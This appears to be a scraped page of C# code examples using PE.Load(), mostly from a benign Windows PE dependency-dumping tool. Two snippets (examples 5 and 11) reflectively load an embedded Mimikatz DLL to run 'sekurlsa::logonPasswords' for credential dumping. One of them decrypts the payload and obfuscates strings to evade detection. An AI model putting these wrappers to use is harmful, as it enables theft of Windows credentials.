Ejemplo n.º 1
0
            static bool TestFilepath(string Filepath, Demangler SymPrv)
            {
                PE Pe = new PE(Filepath);

                if (!Pe.Load())
                {
                    Console.Error.WriteLine("[x] Could not load file {0:s} as a PE", Filepath);
                    return(false);
                }

                foreach (PeExport Export in Pe.GetExports())
                {
                    if (Export.Name.Length > 0)
                    {
                        Console.Write("\t Export : {0:s} -> ", Export.Name);
                        Console.Out.Flush();
                        Console.WriteLine("{0:s}", SymPrv.UndecorateName(Export.Name));
                    }
                }

                foreach (PeImportDll DllImport in Pe.GetImports())
                {
                    foreach (PeImport Import in DllImport.ImportList)
                    {
                        if (!Import.ImportByOrdinal)
                        {
                            Console.Write("\t Import from {0:s} : {1:s} -> ", DllImport.Name, Import.Name);
                            Console.Out.Flush();
                            Console.WriteLine("{0:s}", SymPrv.UndecorateName(Import.Name));
                        }
                    }
                }

                return(true);
            }
Ejemplo n.º 2
0
        public PE GetBinary(string PePath)
        {
            if (!File.Exists(PePath))
            {
                return(null);
            }

            string PeHash = GetBinaryHash(PePath);

            // Cache "miss"
            bool hit = BinaryDatabase.ContainsKey(PeHash);

            if (!hit)
            {
                string DestFilePath = Path.Combine(BinaryCacheFolderPath, PeHash);
                if (DestFilePath != PePath)
                {
                    File.Copy(PePath, DestFilePath, true);
                }

                PE NewShadowBinary = new PE(DestFilePath);
                NewShadowBinary.Load();

                LruCache.Add(PeHash);
                BinaryDatabase.Add(PeHash, NewShadowBinary);
            }

            // Cache "Hit"
            UpdateLru(PeHash);
            PE ShadowBinary = BinaryDatabase[PeHash];

            ShadowBinary.Filepath = PePath;
            return(ShadowBinary);
        }
Ejemplo n.º 3
0
        public override PE GetBinary(string PePath)
        {
            PE pefile = new PE(PePath);

            pefile.Load();

            return(pefile);
        }
Ejemplo n.º 4
0
        public PE GetBinary(string PePath)
        {
            Debug.WriteLine(String.Format("Attempt to load : {0:s}", PePath), "BinaryCache");

            if (!NativeFile.Exists(PePath))
            {
                Debug.WriteLine(String.Format("File not present on the filesystem : {0:s} ", PePath), "BinaryCache");
                return(null);
            }

            string Fullpath = Path.GetFullPath(PePath);

            if (FilepathDatabase.ContainsKey(Fullpath))
            {
                // TODO : update LRU cache
                PE sShadowBinary = FilepathDatabase[Fullpath];
                sShadowBinary.Filepath = Fullpath;
                return(sShadowBinary);
            }

            string PeHash = GetBinaryHash(PePath);

            Debug.WriteLine(String.Format("File {0:s} hash : {1:s} ", PePath, PeHash), "BinaryCache");

            // A sync lock is mandatory here in order not to load twice the
            // same binary from two differents workers
            lock (BinaryDatabaseLock)
            {
                bool hit = BinaryDatabase.ContainsKey(PeHash);

                // Cache "miss"
                if (!hit)
                {
                    string DestFilePath = Path.Combine(BinaryCacheFolderPath, PeHash);
                    if (!File.Exists(DestFilePath) && (DestFilePath != PePath))
                    {
                        Debug.WriteLine(String.Format("FileCopy from {0:s} to {1:s}", PePath, DestFilePath), "BinaryCache");
                        NativeFile.Copy(PePath, DestFilePath);
                    }

                    PE NewShadowBinary = new PE(DestFilePath);
                    NewShadowBinary.Load();

                    LruCache.Add(PeHash);
                    BinaryDatabase.Add(PeHash, NewShadowBinary);
                    FilepathDatabase.Add(Fullpath, NewShadowBinary);
                }
            }

            // Cache "Hit"
            UpdateLru(PeHash);
            PE ShadowBinary = BinaryDatabase[PeHash];

            ShadowBinary.Filepath = Path.GetFullPath(PePath); // convert any paths to an absolute one.

            Debug.WriteLine(String.Format("File {0:s} loaded from {1:s}", PePath, Path.Combine(BinaryCacheFolderPath, PeHash)), "BinaryCache");
            return(ShadowBinary);
        }
Ejemplo n.º 5
0
        /// <summary>
        /// Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command.
        /// </summary>
        /// <param name="Command">Mimikatz command to be executed.</param>
        /// <returns>Mimikatz output.</returns>
        public static string Command(string Command = "privilege::debug sekurlsa::logonPasswords")
        {
            // Console.WriteLine(String.Join(",", System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames()));
            if (MimikatzPE == null)
            {
                string[] manifestResources = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames();
                if (IntPtr.Size == 4 && MimikatzPE == null)
                {
                    if (PEBytes32 == null)
                    {
                        PEBytes32 = Utilities.GetEmbeddedResourceBytes("powerkatz_x86.dll");
                        if (PEBytes32 == null)
                        {
                            return("");
                        }
                    }
                    MimikatzPE = PE.Load(PEBytes32);
                }
                else if (IntPtr.Size == 8 && MimikatzPE == null)
                {
                    if (PEBytes64 == null)
                    {
                        PEBytes64 = Utilities.GetEmbeddedResourceBytes("powerkatz_x64.dll");
                        if (PEBytes64 == null)
                        {
                            return("");
                        }
                    }
                    MimikatzPE = PE.Load(PEBytes64);
                }
            }
            if (MimikatzPE == null)
            {
                return("");
            }
            IntPtr functionPointer = MimikatzPE.GetFunctionExport("powershell_reflective_mimikatz");

            if (functionPointer == IntPtr.Zero)
            {
                return("");
            }

            MimikatzType mimikatz = (MimikatzType)Marshal.GetDelegateForFunctionPointer(functionPointer, typeof(MimikatzType));
            IntPtr       input    = Marshal.StringToHGlobalUni(Command);

            try
            {
                IntPtr output = mimikatz(input);
                return(Marshal.PtrToStringUni(output));
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace);
                return("");
            }
        }
Ejemplo n.º 6
0
        static void Main(string[] args)
        {
            // always the first call to make
            Phlib.InitializePhLib();

            int         recursion_depth = 0;
            bool        early_exit      = false;
            bool        show_help       = false;
            bool        export_as_json  = false;
            DumpCommand command         = null;

            OptionSet opts = new OptionSet()
            {
                { "h|help", "show this message and exit", v => show_help = v != null },
                { "json", "Export results in json format", v => export_as_json = v != null },
                { "d|depth=", "limit recursion depth when analyisng loaded modules or dependency chain. Default value is infinite", (int v) => recursion_depth = v },
                { "knowndll", "List all known dlls", v => { DumpKnownDlls(GetObjectPrinter(export_as_json));  early_exit = true; } },
                { "apisets", "List apisets redirections", v => { DumpApiSets(GetObjectPrinter(export_as_json));  early_exit = true; } },
                { "apisetsdll", "List apisets redirections from apisetschema.dll", v => command = DumpApiSets },
                { "manifest", "show manifest information embedded in PE file", v => command = DumpManifest },
                { "sxsentries", "dump all of FILE's sxs dependencies", v => command = DumpSxsEntries },
                { "imports", "dump FILE imports", v => command = DumpImports },
                { "exports", "dump  FILE exports", v => command = DumpExports },
                { "chain", "dump FILE whole dependency chain", v => command = DumpDependencyChain },
                { "modules", "dump FILE resolved modules", v => command = DumpModules },
            };

            List <string> eps = opts.Parse(args);

            if (early_exit)
            {
                return;
            }

            if ((show_help) || (args.Length == 0) || (command == null))
            {
                DumpUsage();
                return;
            }

            String FileName = eps[0];
            //Console.WriteLine("[-] Loading file {0:s} ", FileName);
            PE Pe = new PE(FileName);

            if (!Pe.Load())
            {
                Console.Error.WriteLine("[x] Could not load file {0:s} as a PE", FileName);
                return;
            }

            command(Pe, GetObjectPrinter(export_as_json), recursion_depth);
        }
Ejemplo n.º 7
0
 /// <summary>
 /// Get the list of dependency dll
 /// </summary>
 /// <returns>PE import list</returns>
 public List <PeImportDll> GetImportDllList()
 {
     if (filename == "")
     {
         throw new ArgumentNullException("filename");
     }
     localPE = new PE(filename);
     if (!localPE.Load())
     {
         throw new BadImageFormatException("Cannot Load PE File");
     }
     return(localPE.GetImports());
 }
Ejemplo n.º 8
0
        public PE GetBinary(string PePath)
        {
            if (!File.Exists(PePath))
            {
                return(null);
            }

            string PeHash = GetBinaryHash(PePath);


            // A sync lock is mandatory here in order not to load twice the
            // same binary from two differents workers
            lock (BinaryDatabaseLock)
            {
                bool hit = BinaryDatabase.ContainsKey(PeHash);

                // Cache "miss"
                if (!hit)
                {
                    string DestFilePath = Path.Combine(BinaryCacheFolderPath, PeHash);
                    if (!File.Exists(DestFilePath) && (DestFilePath != PePath))
                    {
                        File.Copy(PePath, DestFilePath, true);
                    }

                    PE NewShadowBinary = new PE(DestFilePath);
                    NewShadowBinary.Load();

                    LruCache.Add(PeHash);
                    BinaryDatabase.Add(PeHash, NewShadowBinary);
                }
            }

            // Cache "Hit"
            UpdateLru(PeHash);
            PE ShadowBinary = BinaryDatabase[PeHash];

            ShadowBinary.Filepath = PePath;
            return(ShadowBinary);
        }
Ejemplo n.º 9
0
        static void Main(string[] args)
        {
            String FileName    = null;
            var    ProgramArgs = ParseArgs(args);
            Action <IPrettyPrintable> ObjectPrinter = PrettyPrinter;

            // always the first call to make
            Phlib.InitializePhLib();

            if (ProgramArgs.ContainsKey("file"))
            {
                FileName = ProgramArgs["file"];
            }

            if (ProgramArgs.ContainsKey("-json"))
            {
                ObjectPrinter = JsonPrinter;
            }


            // no need to load PE for those commands
            if ((args.Length == 0) || ProgramArgs.ContainsKey("-h") || ProgramArgs.ContainsKey("-help"))
            {
                DumpUsage();
                return;
            }

            if (ProgramArgs.ContainsKey("-knowndll"))
            {
                DumpKnownDlls(ObjectPrinter);
                return;
            }

            if (ProgramArgs.ContainsKey("-apisets"))
            {
                DumpApiSets(ObjectPrinter);
                return;
            }

            //Console.WriteLine("[-] Loading file {0:s} ", FileName);
            PE Pe = new PE(FileName);

            if (!Pe.Load())
            {
                Console.Error.WriteLine("[x] Could not load file {0:s} as a PE", FileName);
                return;
            }


            if (ProgramArgs.ContainsKey("-manifest"))
            {
                DumpManifest(Pe, ObjectPrinter);
            }
            else if (ProgramArgs.ContainsKey("-sxsentries"))
            {
                DumpSxsEntries(Pe, ObjectPrinter);
            }
            else if (ProgramArgs.ContainsKey("-imports"))
            {
                DumpImports(Pe, ObjectPrinter);
            }
            else if (ProgramArgs.ContainsKey("-exports"))
            {
                DumpExports(Pe, ObjectPrinter);
            }
            else if (ProgramArgs.ContainsKey("-chain"))
            {
                DumpDependencyChain(Pe, ObjectPrinter);
            }
            else if (ProgramArgs.ContainsKey("-modules"))
            {
                DumpModules(Pe, ObjectPrinter);
            }
        }
Ejemplo n.º 10
0
        static void Main(string[] args)
        {
            Phlib.InitializePhLib();
            var ProgramArgs = ParseArgs(args);

            String FileName = null;

            if (ProgramArgs.ContainsKey("file"))
            {
                FileName = ProgramArgs["file"];
            }

            if (ProgramArgs.ContainsKey("-verbose"))
            {
                VerboseOutput = true;
            }

            // no need to load PE for those commands
            if ((args.Length == 0) || ProgramArgs.ContainsKey("-h") || ProgramArgs.ContainsKey("-help"))
            {
                DumpUsage();
                return;
            }

            if (ProgramArgs.ContainsKey("-knowndll"))
            {
                DumpKnownDlls();
                return;
            }

            if (ProgramArgs.ContainsKey("-apisets"))
            {
                DumpApiSets();
                return;
            }

            VerboseWriteLine("[-] Loading file {0:s} ", FileName);
            PE Pe = new PE(FileName);

            if (!Pe.Load())
            {
                Console.Error.WriteLine("[x] Could not load file {0:s} as a PE", FileName);
                return;
            }


            if (ProgramArgs.ContainsKey("-manifest"))
            {
                DumpManifest(Pe);
            }
            if (ProgramArgs.ContainsKey("-sxsentries"))
            {
                DumpSxsEntries(Pe);
            }
            if (ProgramArgs.ContainsKey("-imports"))
            {
                DumpImports(Pe);
            }
            if (ProgramArgs.ContainsKey("-exports"))
            {
                DumpExports(Pe);
            }
        }
Ejemplo n.º 11
0
        /// <summary>
        /// Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command.
        /// </summary>
        /// <param name="Command">Mimikatz command to be executed.</param>
        /// <returns>Mimikatz output.</returns>
        public static string Command(string Command = "privilege::debug sekurlsa::logonPasswords")
        {
            // Console.WriteLine(String.Join(",", System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames()));
            if (MimikatzPE == null)
            {
                if (IntPtr.Size == 8)  //x64 Unpack And Execute
                {
                    //x64 Unpack And Execute
                    Console.WriteLine("x64 !! Gocha");
                    PEBytes64  = Utilities.Decrypt(NonInteractiveMimikatz.Properties.Resources.x64powerkatz);
                    MimikatzPE = PE.Load(PEBytes64);
                }
                else if (IntPtr.Size == 4)
                {
                    //x86 Unpack And Execute
                    Console.WriteLine("x86 !! Gocha");
                    PEBytes32  = Utilities.Decrypt(NonInteractiveMimikatz.Properties.Resources.Win32powerkatz);
                    MimikatzPE = PE.Load(PEBytes32);
                }
            }
            if (MimikatzPE == null)
            {
                return("");
            }
            IntPtr functionPointer = MimikatzPE.GetFunctionExport("pAAAowershell_".Replace("AAA", "") + " reflective_".TrimStart() + " mimikatz".Trim());

            if (functionPointer == IntPtr.Zero)
            {
                return("");
            }
            MimikatzType mimikatz = (MimikatzType)Marshal.GetDelegateForFunctionPointer(functionPointer, typeof(MimikatzType));
            IntPtr       input    = Marshal.StringToHGlobalUni(Command);

            try
            {
                IntPtr output = IntPtr.Zero;
                Thread t      = new Thread(() =>
                {
                    try
                    {
                        output = mimikatz(input);
                    }
                    catch (Exception e)
                    {
                        Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace);
                    }
                });
                t.Start();
                t.Join();
                Marshal.FreeHGlobal(input);
                if (output == IntPtr.Zero)
                {
                    return("");
                }
                string stroutput = Marshal.PtrToStringUni(output);
                PInvoke.Win32.Kernel32.LocalFree(output);
                return(stroutput);
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace);
                return("");
            }
        }
Ejemplo n.º 12
0
        static void Main(string[] args)
        {
            // always the first call to make
            Phlib.InitializePhLib();

            int         recursion_depth = 0;
            bool        early_exit      = false;
            bool        show_help       = false;
            bool        export_as_json  = false;
            bool        use_bin_cache   = false;
            DumpCommand command         = null;

            OptionSet opts = new OptionSet()
            {
                { "h|help", "show this message and exit", v => show_help = v != null },
                { "json", "Export results in json format", v => export_as_json = v != null },
                { "cache", "load and use binary cache to prevent dll file locking", v => use_bin_cache = v != null },
                { "d|depth=", "limit recursion depth when analysing loaded modules or dependency chain. Default value is infinite", (int v) => recursion_depth = v },
                { "knowndll", "List all known dlls", v => { DumpKnownDlls(GetObjectPrinter(export_as_json));  early_exit = true; } },
                { "apisets", "List apisets redirections", v => { DumpApiSets(GetObjectPrinter(export_as_json));  early_exit = true; } },
                { "apisetsdll", "List apisets redirections from apisetschema <FILE>", v => command = DumpApiSets },
                { "manifest", "show manifest information embedded in <FILE>", v => command = DumpManifest },
                { "sxsentries", "dump all of <FILE>'s sxs dependencies", v => command = DumpSxsEntries },
                { "imports", "dump <FILE> imports", v => command = DumpImports },
                { "exports", "dump <FILE> exports", v => command = DumpExports },
                { "assemblyrefs", "dump <FILE> assemblyrefs", v => command = DumpAssemblyReferences },
                { "modulerefs", "dump <FILE> modulerefs", v => command = DumpModuleReferences },
                { "chain", "dump <FILE> whole dependency chain", v => command = DumpDependencyChain },
                { "modules", "dump <FILE> resolved modules", v => command = DumpModules },
            };

            List <string> eps = opts.Parse(args);

            if (early_exit)
            {
                return;
            }

            if ((show_help) || (args.Length == 0) || (command == null))
            {
                DumpUsage();
                return;
            }

            BinaryCache.InitializeBinaryCache(use_bin_cache);

            if (eps.Count == 0)
            {
                Console.Error.WriteLine("[x] Command {0:s} needs to have a PE <FILE> argument", command.Method.Name);
                Console.Error.WriteLine("");

                DumpUsage();
                return;
            }

            String FileName = eps[0];

            if (!NativeFile.Exists(FileName))
            {
                Console.Error.WriteLine("[x] Could not find file {0:s} on disk", FileName);
                return;
            }

            Debug.WriteLine("[-] Loading file {0:s} ", FileName);
            PE Pe = new PE(FileName);

            if (!Pe.Load())
            {
                Console.Error.WriteLine("[x] Could not load file {0:s} as a PE", FileName);
                return;
            }

            command(Pe, GetObjectPrinter(export_as_json), recursion_depth);
        }